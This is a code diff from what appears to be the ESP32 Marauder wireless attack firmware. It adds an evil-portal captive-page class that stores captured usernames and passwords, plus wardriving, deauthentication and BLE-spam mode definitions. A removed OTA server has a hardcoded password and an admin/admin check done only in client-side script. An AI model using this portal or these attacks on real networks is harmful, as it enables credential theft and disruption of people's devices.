#ifdef HAS_SCREEN
this->sendToDisplay(full_string);
#endif
}
}
}

112
esp32_marauder/EvilPortal.h Normal file
View File

@@ -0,0 +1,112 @@
#ifndef EvilPortal_h
#define EvilPortal_h
#include "ESPAsyncWebServer.h"
#include <AsyncTCP.h>
#include <DNSServer.h>
#include "configs.h"
#include "settings.h"
#ifdef HAS_SCREEN
#include "Display.h"
#include <LinkedList.h>
#endif
#ifndef WRITE_PACKETS_SERIAL
#include "SDInterface.h"
#else
#include "Buffer.h"
#endif
#include "lang_var.h"
extern Settings settings_obj;
#ifndef WRITE_PACKETS_SERIAL
extern SDInterface sd_obj;
#endif
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern Buffer buffer_obj;
#define WAITING 0
#define GOOD 1
#define BAD 2
#define SET_HTML_CMD "sethtml="
#define SET_AP_CMD "setap="
#define RESET_CMD "reset"
#define START_CMD "start"
#define ACK_CMD "ack"
#define MAX_AP_NAME_SIZE 30
#define WIFI_SCAN_EVIL_PORTAL 30
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
char index_html[MAX_HTML_SIZE] = "TEST";
struct ssid {
String essid;
uint8_t channel;
uint8_t bssid[6];
bool selected;
};
struct AccessPoint {
String essid;
uint8_t channel;
uint8_t bssid[6];
bool selected;
LinkedList<char>* beacon;
char rssi;
LinkedList<uint8_t>* stations;
};
class CaptiveRequestHandler : public AsyncWebHandler {
public:
CaptiveRequestHandler() {}
virtual ~CaptiveRequestHandler() {}
bool canHandle(AsyncWebServerRequest *request) { return true; }
void handleRequest(AsyncWebServerRequest *request) {
request->send_P(200, "text/html", index_html);
}
};
class EvilPortal {
private:
bool runServer;
bool name_received;
bool password_received;
String user_name;
String password;
bool has_html;
bool has_ap;
DNSServer dnsServer;
void (*resetFunction)(void) = 0;
bool setHtml();
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void setupServer();
void startPortal();
void startAP();
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
void sendToDisplay(String msg);
public:
EvilPortal();
String target_html_name = "index.html";
String get_user_name();
String get_password();
void addLog(String log, int len);
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void main(uint8_t scan_mode);
};
#endif

View File

@@ -0,0 +1,134 @@
#include "GpsInterface.h"
#ifdef HAS_GPS
char nmeaBuffer[100];
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
#ifndef GPS_SOFTWARE_SERIAL
HardwareSerial Serial2(GPS_SERIAL_INDEX);
#else
EspSoftwareSerial::UART Serial2;
#endif
void GpsInterface::begin() {
#ifndef GPS_SOFTWARE_SERIAL
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
#else
Serial2.begin(9600, SWSERIAL_8N1, GPS_TX, GPS_RX);
#endif
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
delay(4000);
if (Serial2.available()) {
Serial.println("GPS Attached Successfully");
this->gps_enabled = true;
while (Serial2.available())
Serial2.read();
}
}
// Thanks JosephHewitt
String GpsInterface::dt_string_from_gps(){
//Return a datetime String using GPS data only.
String datetime = "";
if (nmea.isValid() && nmea.getYear() > 0){
datetime += nmea.getYear();
datetime += "-";
datetime += nmea.getMonth();
datetime += "-";
datetime += nmea.getDay();
datetime += " ";
datetime += nmea.getHour();
datetime += ":";
datetime += nmea.getMinute();
datetime += ":";
datetime += nmea.getSecond();
}
return datetime;
}
void GpsInterface::setGPSInfo() {
this->good_fix = nmea.isValid();
this->num_sats = nmea.getNumSatellites();
this->datetime = this->dt_string_from_gps();
this->lat = String((float)nmea.getLatitude()/1000000, 7);
this->lon = String((float)nmea.getLongitude()/1000000, 7);
long alt = 0;
if (!nmea.getAltitude(alt)){
alt = 0;
}
this->altf = (float)alt / 1000;
this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
//nmea.clear();
}
float GpsInterface::getAccuracy() {
return this->accuracy;
}
String GpsInterface::getLat() {
return this->lat;
}
String GpsInterface::getLon() {
return this->lon;
}
float GpsInterface::getAlt() {
return this->altf;
}
String GpsInterface::getDatetime() {
return this->datetime;
}
String GpsInterface::getNumSatsString() {
return (String)num_sats;
}
bool GpsInterface::getFixStatus() {
return this->good_fix;
}
String GpsInterface::getFixStatusAsString() {
if (this->getFixStatus())
return "Yes";
else
return "No";
}
bool GpsInterface::getGpsModuleStatus() {
return this->gps_enabled;
}
void GpsInterface::main() {
while (Serial2.available()) {
//Fetch the character one by one
char c = Serial2.read();
//Serial.print(c);
//Pass the character to the library
nmea.process(c);
}
uint8_t num_sat = nmea.getNumSatellites();
if ((nmea.isValid()) && (num_sat > 0))
this->setGPSInfo();
else if ((!nmea.isValid()) && (num_sat <= 0)) {
this->setGPSInfo();
}
}
#endif

View File

@@ -0,0 +1,40 @@
#ifndef GpsInterface_h
#define GpsInterface_h
#include <MicroNMEA.h>
#include <SoftwareSerial.h>
#include "configs.h"
class GpsInterface {
public:
void begin();
void main();
String getNumSatsString();
bool getFixStatus();
String getFixStatusAsString();
bool getGpsModuleStatus();
String getLat();
String getLon();
float getAlt();
float getAccuracy();
String getDatetime();
private:
// GPS Info
String lat = "";
String lon = "";
float altf = 0.0;
float accuracy = 0.0;
String datetime = "";
bool gps_enabled = false;
bool good_fix = false;
uint8_t num_sats = 0;
String dt_string_from_gps();
void setGPSInfo();
};
#endif

View File

@@ -1,7 +1,7 @@
#include "LedInterface.h"
LedInterface::LedInterface() {
}
void LedInterface::RunSetup() {
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
else if (this->current_mode == MODE_SNIFF) {
this->sniffLed();
}
else if (this->current_mode == MODE_CUSTOM) {
return;
}
else {
this->ledOff();
}
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
return this->current_mode;
}
void LedInterface::setColor(int r, int g, int b) {
strip.setPixelColor(0, strip.Color(r, g, b));
strip.show();
}
void LedInterface::sniffLed() {
strip.setPixelColor(0, strip.Color(0, 0, 255));
strip.show();
this->setColor(0, 0, 255);
}
void LedInterface::attackLed() {
strip.setPixelColor(0, strip.Color(255, 0, 0));
strip.show();
this->setColor(255, 0, 0);
}
void LedInterface::ledOff() {
strip.setPixelColor(0, strip.Color(0, 0, 0));
strip.show();
this->setColor(0, 0, 0);
}
void LedInterface::rainbow() {
strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
strip.show();
this->current_fade_itter++;
this->wheel_pos = this->wheel_pos - this->wheel_speed;
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
}
WheelPos -= 170;
return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
}
}

View File

@@ -12,6 +12,7 @@
#define MODE_RAINBOW 1
#define MODE_ATTACK 2
#define MODE_SNIFF 3
#define MODE_CUSTOM 4
extern Settings settings_obj;
extern Adafruit_NeoPixel strip;
@@ -41,6 +42,7 @@ class LedInterface {
void main(uint32_t currentTime);
void setMode(uint8_t);
void setColor(int r, int g, int b);
uint8_t getMode();

File diff suppressed because it is too large Load Diff

View File

@@ -8,12 +8,8 @@
#define BATTERY_ANALOG_ON 0
#include "WiFiScan.h"
#include "Display.h"
#include "BatteryInterface.h"
#include "SDInterface.h"
#include "Web.h"
#include "esp_interface.h"
#include "a32u4_interface.h"
#include "settings.h"
#ifdef HAS_BUTTONS
@@ -25,13 +21,9 @@
extern SwitchLib c_btn;
#endif
extern Display display_obj;
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
extern SDInterface sd_obj;
extern BatteryInterface battery_obj;
extern EspInterface esp_obj;
extern A32u4Interface a32u4_obj;
extern Settings settings_obj;
#define FLASH_BUTTON 0
@@ -68,17 +60,15 @@ extern Settings settings_obj;
#define STATUS_BAT 22
#define STATUS_SD 23
#define PWNAGOTCHI 24
#define ESPRESSIF 25
#define SHUTDOWN 26
#define BEACON_LIST 27
#define GENERATE 28
#define CLEAR_ICO 29
#define KEYBOARD_ICO 30
#define JOIN_WIFI 31
#define ESP_UPDATE_ICO 32
#define BAD_USB_ICO 33
#define TEST_BAD_USB_ICO 34
#define LANGUAGE 35
#define SHUTDOWN 25
#define BEACON_LIST 26
#define GENERATE 27
#define CLEAR_ICO 28
#define KEYBOARD_ICO 29
#define JOIN_WIFI 30
#define LANGUAGE 31
#define STATUS_GPS 32
#define GPS_MENU 33
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
@@ -87,15 +77,10 @@ PROGMEM static lv_disp_buf_t disp_buf;
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
// lvgl stuff
PROGMEM static lv_obj_t *kb;
@@ -107,9 +92,9 @@ struct Menu;
struct MenuNode {
String name;
String command;
bool command;
uint16_t color;
int icon;
uint8_t icon;
TFT_eSPI_Button* button;
bool selected;
std::function<void()> callable;
@@ -132,7 +117,6 @@ class MenuFunctions
uint32_t initTime = 0;
//Menu* current_menu;
// Main menu stuff
Menu mainMenu;
@@ -140,14 +124,12 @@ class MenuFunctions
Menu wifiMenu;
Menu bluetoothMenu;
Menu badusbMenu;
Menu generalMenu;
Menu deviceMenu;
// Device menu stuff
Menu whichUpdateMenu;
Menu failedUpdateMenu;
Menu confirmMenu;
Menu espUpdateMenu;
Menu updateMenu;
Menu settingsMenu;
Menu specSettingMenu;
@@ -162,11 +144,9 @@ class MenuFunctions
// Bluetooth menu stuff
Menu bluetoothSnifferMenu;
Menu bluetoothGeneralMenu;
Menu bluetoothAttackMenu;
// Settings things menus
Menu shutdownWiFiMenu;
Menu shutdownBLEMenu;
Menu generateSSIDsMenu;
static void lv_tick_handler();
@@ -174,7 +154,6 @@ class MenuFunctions
// Menu icons
//TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
void updateStatusBar();
@@ -194,6 +173,11 @@ class MenuFunctions
Menu clearSSIDsMenu;
Menu clearAPsMenu;
#ifdef HAS_GPS
// GPS Menu
Menu gpsInfoMenu;
#endif
Ticker tick;
uint16_t x = -1, y = -1;
@@ -203,13 +187,9 @@ class MenuFunctions
void initLVGL();
void deinitLVGL();
void joinWiFiGFX();
void addSSIDGFX();
void addAPGFX();
void addStationGFX();
void displaySettingsGFX();
void writeBadUSB();
void buildButtons(Menu* menu, int starting_index = 0);
void changeMenu(Menu* menu);
void drawStatusBar();

View File

@@ -1,71 +1,102 @@
#include "SDInterface.h"
#include "lang_var.h"
bool SDInterface::initSD() {
String display_string = "";
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
bool SDInterface::initSD() {
#ifdef HAS_SD
String display_string = "";
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
this->supported = false;
return false;
}
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
#if defined(MARAUDER_M5STICKC)
/* Set up SPI SD Card using external pin header
StickCPlus Header - SPI SD Card Reader
3v3 - 3v3
GND - GND
G0 - CLK
G36/G25 - MISO
G26 - MOSI
- CS (jumper to SD Card GND Pin)
*/
enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
SPIClass SPI_EXT;
SPI_EXT.begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
if (!SD.begin(SD_CS, SPI_EXT)) {
#else
if (!SD.begin(SD_CS)) {
#endif
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
#endif
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
pinMode(SD_CS, OUTPUT);
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
delay(10);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
}
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
this->card_sz = sz;
}
this->card_sz = sz;
}
buffer_obj = Buffer();
buffer_obj = Buffer();
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
return true;
return true;
}
#else
Serial.println("SD support disabled, skipping init");
return false;
#endif
}
File SDInterface::getFile(String path) {
if (this->supported) {
File file = SD.open(path, FILE_READ);
//if (file)
return file;
}
}
@@ -91,9 +122,9 @@ void SDInterface::listDir(String str_dir){
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
if ((this->supported) && (this->do_save)) {
buffer_obj.addPacket(buf, len);
buffer_obj.addPacket(buf, len, log);
}
}
@@ -105,6 +136,14 @@ void SDInterface::openCapture(String file_name) {
}
}
void SDInterface::openLog(String file_name) {
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name, true);
buffer_obj.open(true);
}
}
void SDInterface::runUpdate() {
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(false);

View File

@@ -40,8 +40,10 @@ class SDInterface {
bool initSD();
void listDir(String str_dir);
void addPacket(uint8_t* buf, uint32_t len);
File getFile(String path);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void openCapture(String file_name = "");
void openLog(String file_name = "");
void runUpdate();
void performUpdate(Stream &updateSource, size_t updateSize);
void main();

View File

@@ -1,36 +0,0 @@
#include "TemperatureInterface.h"
#ifdef __cplusplus
extern "C" {
#endif
uint8_t temprature_sens_read();
#ifdef __cplusplus
}
#endif
uint8_t temprature_sens_read();
TemperatureInterface::TemperatureInterface() {
}
void TemperatureInterface::RunSetup() {
this->initTime = millis();
this->current_temp = this->getCurrentTemp();
}
uint8_t TemperatureInterface::getCurrentTemp() {
#ifndef MARAUDER_FLIPPER
return ((temprature_sens_read() - 32) / 1.8);
#endif
return 0;
}
void TemperatureInterface::main(uint32_t currentTime) {
if (currentTime != 0) {
if (currentTime - initTime >= 100) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
this->current_temp = this->getCurrentTemp();
}
}
}

View File

@@ -1,24 +0,0 @@
#ifndef TemperatureInterface_h
#define TemperatureInterface_h
#include "configs.h"
#include <Arduino.h>
class TemperatureInterface {
private:
uint32_t initTime = 0;
public:
TemperatureInterface();
uint8_t current_temp = 0;
uint8_t old_temp = 0;
uint8_t getCurrentTemp();
void RunSetup();
void main(uint32_t currentTime);
};
#endif

View File

@@ -1,178 +0,0 @@
#include "Web.h"
#include "lang_var.h"
WebServer server(80);
Web::Web()
{
}
void Web::main()
{
// Notify if client has connected to the update server
int current_sta = WiFi.softAPgetStationNum();
if (current_sta < this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client disconnected -> ");
Serial.println(this->num_sta);
}
else if (current_sta > this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client connected -> ");
Serial.println(this->num_sta);
}
server.handleClient();
delay(1);
}
// Callback for the embedded jquery.min.js page
void Web::onJavaScript(void) {
Serial.println("onJavaScript(void)");
server.setContentLength(jquery_min_js_v3_2_1_gz_len);
server.sendHeader(F("Content-Encoding"), F("gzip"));
server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
}
void Web::setupOTAupdate()
{
uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(false);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_WHITE);
#endif
Serial.println(wifi_scan_obj.freeRAM());
#ifdef HAS_SCREEN
display_obj.tft.print(text_table3[0]);
#endif
Serial.println("Configuring update server...");
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
#endif
// Start WiFi AP
Serial.println("Initializing WiFi...");
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&wifi_scan_obj.cfg);
//esp_wifi_set_storage(WIFI_STORAGE_RAM);
if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
Serial.println("Could not set WiFi Storage!");
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting softAP...");
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
WiFi.softAP(ssid, password);
Serial.println("");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Displaying settings to TFT...");
#ifdef HAS_SCREEN
display_obj.tft.print(text_table1[2]);
display_obj.tft.println(ssid);
display_obj.tft.print(text_table3[1]);
display_obj.tft.print(WiFi.softAPIP());
display_obj.tft.print("\n");
#endif
Serial.print("IP address: ");
Serial.println(WiFi.softAPIP());
// return javascript jquery
Serial.println("Setting server behavior...");
Serial.println(wifi_scan_obj.freeRAM());
server.on("/jquery.min.js", HTTP_GET, onJavaScript);
/*return index page which is stored in serverIndex */
server.on("/", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", loginIndex);
});
server.on("/serverIndex", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", serverIndex);
});
/*handling uploading firmware file */
server.on("/update", HTTP_POST, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
ESP.restart();
}, [this]() {
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
display_obj.tft.print(text_table3[2]);
display_obj.tft.print(upload.filename.c_str());
display_obj.tft.print("\n");
#endif
Serial.printf("Update: %s\n", upload.filename.c_str());
if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
Update.printError(Serial);
}
} else if (upload.status == UPLOAD_FILE_WRITE) {
/* flashing firmware to ESP*/
if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
Update.printError(Serial);
}
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_CYAN);
display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
display_obj.tft.setCursor(0, 164);
display_obj.tft.print(text_table3[3]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print("\n");
#endif
} else if (upload.status == UPLOAD_FILE_END) {
if (Update.end(true)) { //true to set the size to the current progress
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.print(text_table3[4]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print(text_table2[3]);
#endif
Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
delay(1000);
} else {
Update.printError(Serial);
}
}
});
Serial.println("Finished setting server behavior");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting server...");
server.begin();
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.println(text_table3[5]);
#endif
Serial.println("Completed update server setup");
Serial.println(wifi_scan_obj.freeRAM());
}
void Web::shutdownServer() {
Serial.println("Closing Update Server...");
server.stop();
WiFi.mode(WIFI_OFF);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_stop();
esp_wifi_deinit();
Serial.println(wifi_scan_obj.freeRAM());
}

View File

@@ -1,141 +0,0 @@
#ifndef Web_h
#define Web_h
/*
Code taken from espressif ESP32 OTA Update example
*/
#include "configs.h"
#include <WiFi.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <ESPmDNS.h>
#include <Update.h>
#include "Assets.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "WiFiScan.h"
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern WiFiScan wifi_scan_obj;
class Web
{
private:
PROGMEM const char* host = "esp32marauder";
PROGMEM const char* ssid = "MarauderOTA";
PROGMEM const char* password = "justcallmekoko";
bool serving = false;
int num_sta = 0;
PROGMEM const char* loginIndex =
"<form name='loginForm'>"
"<table width='20%' bgcolor='A09F9F' align='center'>"
"<tr>"
"<td colspan=2>"
"<center><font size=4><b>ESP32 Login Page</b></font></center>"
"<br>"
"</td>"
"<br>"
"<br>"
"</tr>"
"<td>Username:</td>"
"<td><input type='text' size=25 name='userid'><br></td>"
"</tr>"
"<br>"
"<br>"
"<tr>"
"<td>Password:</td>"
"<td><input type='Password' size=25 name='pwd'><br></td>"
"<br>"
"<br>"
"</tr>"
"<tr>"
"<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
"</tr>"
"</table>"
"</form>"
"<script>"
"function check(form)"
"{"
"if(form.userid.value=='admin' && form.pwd.value=='admin')"
"{"
"window.open('/serverIndex')"
"}"
"else"
"{"
" alert('Error Password or Username')/*displays error message*/"
"}"
"}"
"</script>";
/*
* Server Index Page
*/
PROGMEM const char* serverIndex =
"<script src='/jquery.min.js'></script>"
"Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
"both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
"Your web browser probably requests those two files simultaneously and therefore <br/>"
"the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
"load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
"This second attempt, with an idle webserver, will be processed.<br/><br/>"
"Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
"<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
"<input type='file' name='update'>"
"<input type='submit' value='Update'>"
"</form>"
"<div id='prg'>progress: 0%</div>"
"<script>"
"$('form').submit(function(e){"
"e.preventDefault();"
"var form = $('#upload_form')[0];"
"var data = new FormData(form);"
" $.ajax({"
"url: '/update',"
"type: 'POST',"
"data: data,"
"contentType: false,"
"processData:false,"
"xhr: function() {"
"var xhr = new window.XMLHttpRequest();"
"xhr.upload.addEventListener('progress', function(evt) {"
"if (evt.lengthComputable) {"
"var per = evt.loaded / evt.total;"
"$('#prg').html('progress: ' + Math.round(per*100) + '%');"
"}"
"}, false);"
"return xhr;"
"},"
"success:function(d, s) {"
"console.log('success!')"
"},"
"error: function (a, b, c) {"
"}"
"});"
"});"
"</script>";
public:
Web();
void main();
PROGMEM static void onJavaScript();
void setupOTAupdate();
void shutdownServer();
};
#endif

File diff suppressed because it is too large Load Diff

View File

@@ -3,18 +3,14 @@
#include "configs.h"
//#include <BLEDevice.h>
//#include <BLEUtils.h>
//#include <BLEScan.h>
//#include <BLEAdvertisedDevice.h>
#include <ArduinoJson.h>
// Testing NimBLE
#ifdef HAS_BT
#include <NimBLEDevice.h>
#endif
#include <WiFi.h>
#include "EvilPortal.h"
#include <math.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -24,15 +20,25 @@
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "SDInterface.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
#ifdef HAS_GPS
#include "GpsInterface.h"
#endif
#include "settings.h"
#include "Assets.h"
#include "flipperLED.h"
#include "LedInterface.h"
//#include "MenuFunctions.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
#define bad_list_length 3
@@ -69,33 +75,53 @@
#define WIFI_ATTACK_DEAUTH_TARGETED 27
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
#define WIFI_SCAN_SIG_STREN 29
#define WIFI_SCAN_EVIL_PORTAL 30
#define WIFI_SCAN_GPS_DATA 31
#define WIFI_SCAN_WAR_DRIVE 32
#define WIFI_SCAN_STATION_WAR_DRIVE 33
#define BT_SCAN_WAR_DRIVE 34
#define BT_SCAN_WAR_DRIVE_CONT 35
#define BT_ATTACK_SOUR_APPLE 36
#define BT_ATTACK_SWIFTPAIR_SPAM 37
#define GRAPH_REFRESH 100
#define MAX_CHANNEL 14
extern EvilPortal evil_portal_obj;
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern SDInterface sd_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
#ifdef HAS_GPS
extern GpsInterface gps_obj;
#endif
extern Buffer buffer_obj;
extern BatteryInterface battery_obj;
extern TemperatureInterface temp_obj;
#ifdef HAS_BATTERY
extern BatteryInterface battery_obj;
#endif
extern Settings settings_obj;
extern flipperLED flipper_led;
extern LedInterface led_obj;
#ifdef MARAUDER_FLIPPER
extern flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
extern xiaoLED xiao_led;
#else
extern LedInterface led_obj;
#endif
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
struct ssid {
/*struct ssid {
String essid;
int channel;
uint8_t channel;
int bssid[6];
bool selected;
};
};*/
struct AccessPoint {
/*struct AccessPoint {
String essid;
int channel;
int bssid[6];
@@ -103,6 +129,11 @@ struct AccessPoint {
LinkedList<char>* beacon;
int rssi;
LinkedList<int>* stations;
};*/
struct mac_addr {
unsigned char bytes[6];
};
struct Station {
@@ -113,8 +144,12 @@ struct Station {
class WiFiScan
{
private:
// Wardriver thanks to https://github.com/JosephHewitt
struct mac_addr mac_history[mac_history_len];
// Settings
int channel_hop_delay = 1;
uint mac_history_cursor = 0;
uint8_t channel_hop_delay = 1;
bool force_pmkid = false;
bool force_probe = false;
bool save_pcap = false;
@@ -141,7 +176,7 @@ class WiFiScan
uint32_t initTime = 0;
bool run_setup = true;
void initWiFi(uint8_t scan_mode);
int bluetoothScanTime = 5;
uint8_t bluetoothScanTime = 5;
int packets_sent = 0;
const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
#ifdef HAS_BT
@@ -149,9 +184,9 @@ class WiFiScan
#endif
//String connected_network = "";
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
char* rick_roll[8] = {
const char* rick_roll[8] = {
"01 Never gonna give you up",
"02 Never gonna let you down",
"03 Never gonna run around",
@@ -193,32 +228,6 @@ class WiFiScan
/*36*/ 0x00
};
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
0x00, 0x01, // Sequence number
0x00, 0x00, // Algo
0x01, 0x00, // Auth sequence number
